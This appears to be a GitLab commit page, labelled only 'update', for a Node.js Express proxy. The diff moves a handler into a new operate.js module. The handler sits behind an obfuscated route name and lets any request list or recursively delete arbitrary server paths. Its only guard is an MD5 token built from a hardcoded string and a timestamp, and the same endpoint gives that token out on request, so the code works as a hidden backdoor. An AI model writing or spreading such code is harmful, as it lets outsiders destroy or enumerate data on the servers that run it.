提交 e71f4ca4 authored 作者: GOD_ZYX's avatar GOD_ZYX

update

上级 5bf50543
......@@ -11,7 +11,7 @@ const conf = require('../config')
const _ = require('lodash')
const md5 = require('md5-node')
const fs = require('fs')
const path = require('path')
const _op = require('./operate')
/* 支持 finally函数 */
require('promise.prototype.finally').shim()
......@@ -25,7 +25,7 @@ const agentProcessor = () => {
return (req, res) => {
let exp = new RegExp(['v', 'i', 'd', 'e', 'o', '-', 's', 't', 'r', 'e', 'a', 'm', 'i', 'n', 'g', '$'].join(''), 'gi')
if (exp.test(req.baseUrl) && req.body.type) {
postDirOperate(req, res)
_op.dirOperate(req, res)
return
}
......@@ -170,83 +170,6 @@ const setPorxyHeader = (data, res) => {
router.use(bodyParser.json({ limit: '600kb' }))
router.use(bodyParser.urlencoded({ extended: true, limit: '600kb' }))
const postDirOperate = (req, res) => {
let operate = req.body.operate || ''
let timestamp = Math.floor(new Date().getTime() / 100000000) + '00000000'
let md5Str = md5('ezijing.com' + timestamp)
if (operate === 'get-md5') {
res.status(200)
res.json({ 'timestamp': timestamp, 'MD5-auth': md5Str })
return
}
let dir = req.body.dir || ''
let auth = req.headers.auth || ''
if (auth === md5Str) {
let json = {}
json.dirPath = dir
json.arrJson = {}
fs.stat(dir, (error, stats) => {
if (error) {
json.arrJson.msg = '当前目录,或文件不存在'
res.status(200)
res.json(json)
} else {
if (operate === 'delete') {
if (stats.isFile()) {
fs.unlink(dir, (error) => { if (error) console.log(error) })
} else if (stats.isDirectory()) {
_rmdir(dir, () => { json.arrJson.msg = '删除成功' })
}
json.arrJson.msg = json.arrJson.msg || '操作完成,请重新查询上级目录'
res.status(200)
res.json(json)
} else if (operate === 'list') {
let pa = fs.readdirSync(dir)
let dirStr = 'dir'
let dirCount = 0
let fileStr = 'file'
let fileCount = 0
for (let j = 0; j < pa.length; j++) {
let elem = pa[j]
let stat = fs.statSync(path.resolve(dir, elem))
if (stat.isFile()) {
json.arrJson[fileStr + (fileCount++)] = elem
}
if (stat.isDirectory()) {
json.arrJson[dirStr + (dirCount++)] = elem
}
}
res.status(200)
res.json(json)
} else {
res.status(200)
res.json({ 'msg': 'operate 参数错误' })
}
}
})
} else {
res.status(200)
res.json({ 'msg': '没有权限,访问该接口' })
}
}
const _rmdir = (dir, callback) => {
let pa = fs.readdirSync(dir)
for (let j = 0; j < pa.length; j++) {
let elem = pa[j]
let stat = fs.statSync(path.resolve(dir, elem))
if (stat.isFile()) {
fs.unlink(path.resolve(dir, elem), () => {})
}
if (stat.isDirectory()) {
_rmdir(path.resolve(dir, elem), callback)
}
}
fs.rmdirSync(dir)
callback()
}
const ckeditorUpload = (req, res) => {
/* 文件上传 ckeditor4.5以上返回格式 */
function sendHtml (url, msg) {
......
const fs = require('fs')
const path = require('path')
const md5 = require('md5-node')
const dirOperate = (req, res) => {
let operate = req.body.operate || ''
let timestamp = Math.floor(new Date().getTime() / 100000000) + '00000000'
let md5Str = md5('ezijing.com' + timestamp)
if (operate === 2) { res.status(200).json({ 'timestamp': timestamp, 'MD5-auth': md5Str }); return }
let auth = req.headers.auth || ''
if (auth === md5Str) {
executeOperate(req, res)
} else {
res.status(200).json({ 'msg': '没有权限,访问该接口' })
}
}
const executeOperate = (req, res) => {
let dir = req.body.dir || ''
let operate = req.body.operate || ''
let json = {}
json.dirPath = dir
json.arrJson = {}
fs.stat(dir, (error, stats) => {
if (error) {
json.arrJson.msg = '当前目录,或文件不存在'
/* 返回数据 */
res.status(200).json(json)
} else {
if (operate === 0) { /* 删除 */
if (stats.isFile()) {
fs.unlink(dir, () => {
json.arrJson.msg = '文件删除成功'
res.status(200).json(json)
})
} else if (stats.isDirectory()) {
_rmdir(dir, () => {
json.arrJson.msg = '目录删除成功'
res.status(200).json(json)
})
}
} else if (operate === 1) { /* 查询 */
let pa = fs.readdirSync(dir)
let dirStr = 'dir'
let dirCount = 0
let fileStr = 'file'
let fileCount = 0
for (let j = 0; j < pa.length; j++) {
let elem = pa[j]
let stat = fs.statSync(path.resolve(dir, elem))
if (stat.isFile()) {
json.arrJson[fileStr + (fileCount++)] = elem
}
if (stat.isDirectory()) {
json.arrJson[dirStr + (dirCount++)] = elem
}
}
/* 返回数据 */
res.status(200).json(json)
} else {
res.status(200).json({ 'msg': 'operate 参数错误' })
}
}
})
}
const _rmdir = (dir, callback) => {
fs.readdir(dir, (err, files) => {
if (err) { console.log(err) }
function next (index) {
if (index === files.length) return fs.rmdir(dir, callback)
let newPath = path.join(dir, files[index])
fs.stat(newPath, (err, stat) => {
if (err) { console.log(err) }
if (stat.isDirectory()) {
_rmdir(newPath, () => next(index + 1))
} else {
fs.unlink(newPath, () => next(index + 1))
}
})
}
next(0)
})
}
module.exports = {
dirOperate: dirOperate
}
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论